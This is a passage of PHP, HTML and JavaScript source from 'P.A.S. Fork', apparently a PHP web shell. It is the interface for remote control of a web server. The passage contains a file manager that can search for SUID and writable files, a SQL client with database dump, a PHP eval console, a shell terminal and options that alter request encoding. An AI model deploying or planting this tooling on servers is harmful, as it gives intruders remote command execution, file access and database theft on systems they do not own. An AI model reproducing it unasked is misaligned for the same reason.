value="2">\r</option></select><button>Save</button></div></form></template><form id="frmSrch"class="modal"onmousedown="uiActvModal(event)"onsubmit="srchFiles(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Search</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmSrch')">&#x00D7;</a></div><label class="option"title="exx: <?php echo NIX?'/var/www:/etc:/tmp/':'c:\\inetpub\\wwwroot;d:\\www\\';?>">Paths<input type="text"required /></label><div class="flexRow noFlex"><div class="option"> Name (<label title="? - single char; * - zero or more char; [!0123A-Z] - class of chars (- for range, ! to exclude)"><input type="checkbox"name="w"/>wildcard</label>, <label><input type="checkbox"name="i"/>case-insensitive</label>) <input type="text"name="n"/></div><label class="option"title="Max search depth">Depth<input type="text"name="d"size="1"size="1"/></label><label class="option">Type <select name="y"onchange="uiSrchFTypeChngd()"><option value="">Any</option><option value="1">Dirs</option><option value="0">Files</option></select></label><label class="option">Mode <select name="p"><option value="">Any</option><option value="1">Readable</option><option value="2">Writable</option><option value="3">Full access</option></select></label> <?php if(NIX){?> <label class="option"> Attribute <select name="u"><option value="">Any</option><option value="1">SUID</option></select></label></div><div class="flexRow"><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Owner id<input type="text"name="o"/></label><hr class="spcr20"/><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Group id<input type="text"name="g"/></label> <?php }?> </div><div class="flexRow"><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Created (UTC)<input type="text"name="e"/></label><hr class="spcr20"/><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Modified (UTC)<input type="text"name="m"/></label></div><div class="flexRow"><label class="option"title="exx: &gt;10, &lt;102400, 10-1024, 2048">Size (bytes)<input type="text"name="z"/></label><hr class="spcr20"/><div class="option">Text (<label title="Delimiter is pound (#)"><input type="checkbox"name="x"/>use regex</label>, <label><input type="checkbox"name="v"/>case-insensitive</label>)<input type="text"name="t"/></div></div><div class="flexRow"><label><input type="checkbox"name="l"/> Process links</label><hr class="spcrFlex"/><button>Search</button></div></form><form id="frmLnk"class="modal"onmousedown="uiActvModal(event)"onsubmit="mkLnk(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Create Link</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmLnk')">&#x00D7;</a></div><label class="option">Target Path: <input type="text"name="p"required/></label><label class="option">Link Path: <input type="text"required/></label><div class="flexRow"><select name="t"><option value="0">Symbolic</option><option value="1">Hard</option></select><hr class="spcrFlex"/><button>Create</button></div></form><template id="tmplFrmPrps"><form class="modal frmFilesPrps"onmousedown="uiActvModal(event)"onsubmit="chngPrps(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Properties</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a></div><label class="option">Path<input type="text"name="p"request/></label><div class="flexRow"><label class="option">Modified (UTC) <a href="#"class="cntrl arwDwn"onclick="setErlDate(event)"title="Set the earliest date from table"></a><input type="text"size="1"name="t"/></label> <?php if(NIX){?> <hr class="spcr20"/><label class="option">Permission<input type="text"size="1"name="e"/></label><hr class="spcr20"/><label class="option">Owner<input type="text"size="1"name="o"/></label><hr class="spcr20"/><label class="option">Group<input type="text"size="1"name="r"/></label></div><div class="flexRow"> <?php }?> <hr class="spcrFlex"/><button >Save</button></div></form></template><form id="frmBuffer"class="modal"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Buffer</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmBuffer')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('frmBuffer')">&#x2922;</a></div><table id="tblBuffer"onclick="onTblBufferClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Buffer', this.checked)"/></th><th>File</th><th width="35px">Act</th></tr></thead><tfoot><tr><th colspan="3"><button type="button"onclick="unmarkFiles()">Remove</button></th></tr></tfoot></table><template id="tmplBufferRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"></a></td><td><a href="#"class="lnkAct">Rm</a></td></tr></template></form></div></div></span><span id="tabSQL"><a href="#tabSQL"class="tab">SQL Client</a><div class="tabPage"id="divPageSQL"><form class="toolbar"id="frmCnnct"onsubmit="return cnnct()"><select name="e"> <?php $a=array('MYSQL_NUM'=>array('MySQL','MySQL'),'MYSQLI_NUM'=>array('MySQLi','MySQLi'),'PDO::MYSQL_ATTR_INIT_COMMAND'=>array('MySQLPDO','MySQL (PDO)'),'MSSQL_NUM'=>array('MSSQL','MSSQL'),'SQLSRV_ERR_ALL'=>array('SQLSrv','MSSQL (SQLSrv)'),'PDO::PARAM_INT'=>array('MSSQLDBLIB','MSSQL (PDO_DBLIB)'),'PDO::PARAM_STR'=>array('MSSQLODBC','MSSQL (PDO_ODBC)'),'PDO::SQLSRV_ENCODING_UTF8'=>array('SQLSrvPDO','MSSQL (PDO_SQLSRV)'),'PGSQL_NUM'=>array('PGSQL','PostgreSQL'),'PDO::PARAM_LOB'=>array('PGSQLPDO','PostgreSQL (PDO)'));foreach($a as$k=>$v)if(defined($k))echo'<option value="',$v[0],'">',$v[1],'</option>';?> </select><input type="text"name="h"placeholder="Host"/><input type="text"name="u"placeholder="User"/><input type="text"name="p"placeholder="Password"/><input type="text"name="b"placeholder="Base"/><button>&gt;</button></form><div class="subbar"><span class="spnChrst"> <hr class="arwUp"/> <select id="sqlCSSend"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span><span class="spnChrst"><hr class="arwDwn"/> <select id="sqlCSLoad"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?> </select></span></div><div id="divSQL"><div id="divSQLWrpLeft"><div class="panel"><label><input type="checkbox"id="cbCR"/> Count number of rows</label></div><div class="panel"><div id="divSchm"></div></div><div class="panel"id="divDump">Dump as <select id="slctDmpFrmt"><option value="0">SQL</option><option value="1">CSV</option></select><button type="button"onclick="dump()">&gt;</button></div></div><div id="divSQLWrpRight"><form class="panel flexRow"id="frmSQL"onsubmit="return query()"><input type="text"name="q"placeholder="SQL query"/><button>&gt;</button></form><div id="divCptn"></div><div id="divData"><table id="tblHead"></table><table id="tblData"></table></div><form class="panel"id="frmPg"onsubmit="return chngPg(0)"><input type="hidden"name="b"/><input type="hidden"name="s"/><input type="hidden"name="t"/> Start from row <button type="button"onclick="chngPg(-1)">&lt;</button><input type="text"name="o"size="5"value="0"/><button type="button"onclick="chngPg(1)">&gt;</button><div style="float:right">Rows per page <input type="text"name="r"size="3"value="25"/><button>&gt;</button></div></form></div></div></div></span><span id="tabPHP"><a href="#tabPHP"class="tab">PHP Console</a><div class="tabPage"id="divPagePHP"><form class="toolbar"id="frmPHP"onsubmit="return evl()"><label><a href="#"title="Change composition"class="cmpsRow"id="aCmps"onclick="return uiChngCmps()">Composition</a></label><label title="Erase PHP code after successful eval"><input type="checkbox"id="cbClnInp"/> Clear input</label><label title="Erase previous results before show new"><input type="checkbox"id="cbClnOut" checked/> Clear output</label><label title="Render result as HTML"><input type="checkbox"id="cbHTML"/> Show as HTML</label><label><input type="checkbox"name="h"/> Hide PHP errors</label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctPHPCS"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span><button id="sbmPHP"title="Press Ctrl + Enter to evaluate code">Eval</button></div></form><div id="divPHP"><textarea name="e"form="frmPHP"id="txtPHP"placeholder="phpinfo();"onkeydown="onPHPKeyDwn(event)"></textarea><pre id="prePHP"onkeydown="onPHPResKeyDwn(event)"tabindex="-1"></pre></div></div></span><span id="tabTrm"><a href="#tabTrm"class="tab">Terminal</a><form class="tabPage"id="frmTrm"onsubmit="return exec()"><div class="toolbar"><label class="flexRow"title="Shell must be able to accept command from the argument 'c' (e.g.: $<?php echo NIX?"/bin/shell -c 'uname -a; id'":"cmd /c 'ver; pwd'";?>)">Shell: <input type="text"name="s"placeholder="<?php echo NIX?'/bin/sh':'';?>"/></label><label><input type="checkbox"name="h"> Don't show errors</label><label><input type="checkbox" id="cbIT"/> Invert output</label><label>Use function: <select name="f"></select></label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctTrmCS"><?php foreach($C as$v)echo'<option>',$v,'</option>';?></select></span><span class="spnChrst"style="text-align:right"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php foreach($C as$k=>$v)echo'<option value="',$k,'">',$v,'</option>';?></select></span></div></div><div id="divTrm"onclick="onTrmClick(event)"><pre id="preTrm"onkeydown="onTrmResKeyDwn(event)"tabindex="-1"></pre><div class="flexRow"><span id="spnUsrHst"></span>:<span id="spnPth"></span>$&nbsp;<input type="text"name="e"id="inpTrm"onkeydown="onTrmInpKeyDwn(event)"autocomplete="off"/></div></div></form></span><span id="tabInf"><a href="#tabInf"class="tab">Information</a><div class="tabPage"id="divInfo"><div class="toolbar"><div><a href="#"class="lnkAct"onclick="return ajxSnd('Get main info', onInfMain, null, {a:'i',t:'m'})">Main</a> / <a href="#"class="lnkAct"onclick="return ajxSnd('Get php info', onInfPHP, null, {a:'i',t:'p'})">PHP</a> / </div></div> <?php infMain(TRUE);?></div></span></div><div class="panel"id="divFtr"><div><a href="https://github.com/cr1f/P.A.S.-Fork/"target="blank">P.A.S. Fork v. <?php echo VER;?></a></div><div id="divDtTm"title="Server Time"><span></span></div><div><a href="#"id="actLog"title="Message log"onclick="return uiShwModal('divLog')">&#x26A0;</a></div></div><div class="modal"onmousedown="uiActvModal(event)"id="divStngs"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Settings</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divStngs')">&#x00D7;</a></div>	<label class="option"><input onclick="COOKIE = (this.checked ? 1 : 0)" type="checkbox" id="cbCO"/> Use cookie to request</label>	<label class="option"><input type="checkbox" id="cbRR"/> Skip request encoding</label><label title="Raw Output mode for big files.&#10;Skip response encoding ('ob_*')." class="option"><input type="checkbox" id="cbRO"/> Skip response encoding</label><label title="Shown in File Manager" class="option"><input type="checkbox" id="cbTM"/> <b>ctime</b> instead of <b>mtime</b></label><label class="option"><input type="checkbox" id="cbOI"/> <b>iframe</b> instead of <b>xhr</b></label><form id="frmCstEnv"onsubmit="return false"><fieldset id="fldEnv"><legend><label><input type="checkbox"id="e"/> Run in custom environment</label></legend><label>Function: <select name="f"></select></label><label class="option">Shell: <input type="text"name="s"placeholder="<?php echo NIX?'/bin/sh':'';?>"/></label><label class="option">Interpreter: <input type="text"name="i"value="<?php if(PHP_VERSION>='5.4')echo escHTML(PHP_BINARY);?>"/></label><label class="option"><input type="checkbox"name="n"/> -n &nbsp;No php.ini file will be used</label><label class="option"><input type="checkbox"name="c"/> -C &nbsp;Do not chdir to the script's directory</label></fieldset></form></div><div class="modal"onmousedown="uiActvModal(event)"id="divLog"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Message Log</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divLog')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('divLog')">&#x2922;</a><a href="#"class="cntrl"title="Clear"onclick="return clnLog()">&#8802;</a></div><div id="divLogCntn"></div></div><div id="divMsgs"class="divCntrls"></div></body>
<?=paramsHandlerJS()?>
<script>
<?php if($GLOBALS['ACECONF']['URL']){ ?>
function aceEditorProcess(element = false){

	if(typeof ace == 'undefined'){
		var aceScript = document.createElement('script');
		aceScript.src = '<?=$GLOBALS['ACECONF']['URL']?>';
		document.body.appendChild(aceScript);
		
		aceScript.onload = function(){
			aceEditor = [];
			aceEditorModes = ['php', 'perl', 'python', 'golang', 'ruby', 'javascript', 'sh', 'powershell' , 'sql', 'apache_conf', 'nginx', 'lua', 'markdown'];
			aceEditorThemes = ['eclipse', 'dreamweaver', 'crimson_editor', 'sqlserver', 'solarized_light', 'xcode', 'katzenmilch', 'dawn', 'iplastic', 'monokai', 'ambiance', 'cobalt', 'nord_dark'];
			if(element) aceFileEditor(element);
			acePHPEditor();
		}
		
		return false;
	}
	
	aceFileEditor(element);
}

function aceFileEditor(element){
	var parentForm = getParentFormOf(element);
	var eId = parentForm.name = (parentForm.name ? parentForm.name : Math.random().toString(36).substring(2, 15));
	var flexRow = parentForm.children[2];
	var textArea = parentForm.elements[0];
	var saveButton = parentForm.elements[4];
	var reloadButton = parentForm.children[0].children[3];
	var editorButton = parentForm.children[0].children[4];
	var closeButton = parentForm.children[0].children[1];
	var aceEditorDiv = parentForm.children[eId];
	var aceEditorModeSelect = flexRow.children[1];
	var aceEditorThemeSelect = flexRow.children[2];

	if(aceEditorDiv){
		parentForm.removeChild(aceEditorDiv);
		flexRow.removeChild(aceEditorModeSelect);
		flexRow.removeChild(aceEditorThemeSelect);
		textArea.value = aceEditor[eId].getValue();
		textArea.style.display = 'inline';
		saveButton.setAttribute('onclick', '');
		reloadButton.setAttribute('oncontextmenu', '');
		reloadButton.setAttribute('title', '');
		closeButton.setAttribute('onclick', 'return uiDstrModal(this.parentNode.parentNode)');
		clearInterval(aceEditor[eId]['setInterval']);
		delete aceEditor[eId];
		
		return false;
	}
	
	var wrapLines = 'aceEditor["' + eId + '"].setOption("wrap", (aceEditor["' + eId + '"].getOption("wrap") == "free" ? "off" : "free")); return false;';
	var clickNscroll = 'aceEditor["' + eId + '"]["reloadButton"].click(); setTimeout("aceEditor[`' + eId + '`].scrollToRow(Number.MAX_SAFE_INTEGER)", 200);';
	
	var hotKeys = `
		if(event.ctrlKey){
			if(event.keyCode === 83){
				getParentFormOf(this).elements[6].click(); return false;
			}
			if(event.keyCode === 69){
				` + wrapLines + `
				return false;
			}
		}
	`;
	var hotKeysHint = `Ctrl + [KEY]:\n\nS - Save\nE - Line wrap\nL - Go to line\nP - Go to bracket\nH - Find and Replace\n\nSee the AceJS wiki for more.`;

	var aceEditorDiv = document.createElement('div');
	aceEditorDiv.id = eId;
	aceEditorDiv.contentEditable = 'true';
	aceEditorDiv.style = 'border: 1px solid #7f7f7f; height: 100%; margin: 2px;';
	aceEditorDiv.textContent = textArea.value;
	aceEditorDiv.setAttribute('onkeydown', hotKeys);
	parentForm.insertBefore(aceEditorDiv, parentForm.children[3]);
	parentForm.setAttribute('onmousedown', 'if(event.srcElement.className != "ace_content") uiActvModal(event)');
	saveButton.setAttribute('onclick', 'getParentFormOf(this).elements[0].value = aceEditor[\'' + eId + '\'].getValue()');
	reloadButton.setAttribute('oncontextmenu', `
		var e = aceEditor['` + eId + `'];
		var p = prompt((e['reloadInterval'] ? 'Current value is ' + e['reloadInterval'] + '. ' : '') + 'Set reload interval in seconds: \\n\\n');
		var s = Math.abs(Number(p));

		clearInterval(e['setInterval']);
		
		if(s > 0){
			e['reloadInterval'] = s;
			e['setInterval'] = setInterval('` + clickNscroll + `', s * 1000);
			this.title = s + ' sec.';
			this.style.color = 'red';
		}
		else if(e['reloadInterval']){
			this.style.color = this.title = '';
			clearInterval(e['setInterval']);
			delete e['reloadInterval'];
		}
		else if(p == null){
			` + clickNscroll + `
		}

		return false;
	`);
	editorButton.title = hotKeysHint;
	closeButton.setAttribute('onclick', 'clearInterval(aceEditor[\'' + eId +'\'][\'setInterval\']); delete aceEditor[\'' + eId + '\'];' + closeButton.getAttribute('onclick'));

	textArea.style.display = 'none';
	
	if(!textArea.setterRedefined) redefineSetter(textArea, eId);

	aceEditor[eId] = ace.edit(eId);
	aceEditor[eId].reloadButton = reloadButton;
	setEditorOptions(aceEditor[eId]);
	
	new ResizeObserver((function(){if(aceEditor[eId]) aceEditor[eId].resize()})).observe(parentForm);

	aceEditorThemeSelect = buildSelectFor(aceEditorThemes, '<?=$GLOBALS['ACECONF']['THEME']?>', 'aceEditor[\'' + eId + '\'].setTheme(\'ace/theme/\' + this.value);');
	aceEditorModeSelect = buildSelectFor(aceEditorModes, '<?=$GLOBALS['ACECONF']['MODE']?>', 'aceEditor[\'' + eId + '\'].session.setMode(\'ace/mode/\' + this.value);');
	aceEditorModeSelect.setAttribute('oncontextmenu', wrapLines);
	aceEditorModeSelect.title = 'Right click to change line wrap';
	
	flexRow.insertBefore(aceEditorModeSelect, flexRow.children[1]);
    flexRow.insertBefore(aceEditorThemeSelect, flexRow.children[1]);
}

function acePHPEditor(){
	var frmPHP = document.getElementById('frmPHP');
	var divPHP = document.getElementById('divPHP');
	var acePHPDiv = document.createElement('div');
	var evalButton = document.getElementById('sbmPHP');
	var textArea = document.getElementById('txtPHP');
	
	acePHPDiv.textContent = '\x3c?php\n\nphpinfo();';
	acePHPDiv.style = 'border: 1px solid #C7C7C7; margin: 2px;flex: 1;';
	textArea.style.display = 'none';
	redefineSetter(textArea, 'acePHPDiv');
	divPHP.insertBefore(acePHPDiv, divPHP.children[1]);
	evalButton.setAttribute('onclick', 'divPHP.children[0].value = aceEditor[\'acePHPDiv\'].getValue();');
	aceEditor['acePHPDiv'] = ace.edit(acePHPDiv);
	setEditorOptions(aceEditor['acePHPDiv']);
	aceEditor['acePHPDiv'].session.setMode('ace/mode/php');
	frmPHP.insertBefore(buildSelectFor(aceEditorThemes, '<?=$GLOBALS['ACECONF']['THEME']?>', 'aceEditor[\'acePHPDiv\'].setTheme(\'ace/theme/\' + this.value);'), frmPHP.children[1]);
}


function setEditorOptions(e){
	e.setFontSize('14px');
	e.setTheme('ace/theme/<?=$GLOBALS['ACECONF']['THEME']?>');
	e.session.setMode('ace/mode/<?=$GLOBALS['ACECONF']['MODE']?>');
	e.setOption('showPrintMargin', false);
	e.setOption('wrap', true);
	e.session.setUseWorker(false);
	e.setBehavioursEnabled(true);
}

function redefineSetter(textArea, eId){
    Object.defineProperty(textArea, 'value', {
		set(value){
			this.setterRedefined = true;
			if(aceEditor[eId])
				aceEditor[eId].setValue(value, -1);
			return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').set.call(this, value);
		},
		get(){
			return Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').get.call(this);
		}
    });
}

function buildSelectFor(array, selected = '', onChange = ''){
	var select = document.createElement('select');
	select.setAttribute('onchange', onChange);
	array.forEach(function(item){
		var option = document.createElement('option');
		option.value = option.textContent = item;
		if(item == selected) option.selected = true;
		select.appendChild(option);
	});
	
	return select;
}

function insertCodeEditor(){
	document.getElementById('tmplFrmFile').innerHTML = document.getElementById('tmplFrmFile').innerHTML.replace(/<\/a><\/div>/g,'</a> <a href="#" class="cntrl" title="Code Editor&#x000a;&#x000a;After clicking, the EXTERNAL JS file will be loaded:&#x000a;&#x000a;<?=$GLOBALS['ACECONF']['URL']?>" onclick="aceEditorProcess(this);return false"><small>E</small></a><?=($GLOBALS['ACECONF']['DEFAULT'] ? '<img/src/onerror="aceFileEditor(this);"/style="display:none;"/>' : '')?></div>');
}

insertCodeEditor();
<?php } ?>

function addSortToFM(){
	var fmTblCols = document.getElementById('tblFiles').children[0].children[0].children;
	
	for(i = 0; i <= fmTblCols.length; i++){
		if(fmTblCols[i] && fmTblCols[i].textContent){
			var name = fmTblCols[i].textContent.toLowerCase();
			fmTblCols[i].style = fmTblCols[i].style + '; cursor: pointer;';
			fmTblCols[i].title = 'Sort files by ' + name;
			fmTblCols[i].setAttribute('onclick', 'sortFilesBy("' + name + '");');
		}
	}
}

function sortFilesBy(name){
	var sorts = {'nam': '1','ext': '2','siz': '11','mod': '12','per': '14','own': '15'};
	var sort = sorts[name.substr(0, 3)];
	if(sort){
		fmSort = [(sort == fmSort[1] && fmSort[0] != -1 ? -1 : 1), sort];
		goTo(document.getElementById('frmFM').p.value);
	}
}

addSortToFM();

window.location = '#<?=$GLOBALS['DEFAULT_TAB']?>';
window.addEventListener('load',function(){
	<?=($GLOBALS['DEFAULT_TAB'] == 'tabFM' ? 'goTo("~");' : '')?>
	<?=($GLOBALS['ACECONF']['DEFAULT'] ? 'aceEditorProcess();' : '')?>
});
</script>
</html>
<?php $out = ob_get_contents(); ob_end_clean(); ob_start('ob_gzhandler'); exit(makeOut($out));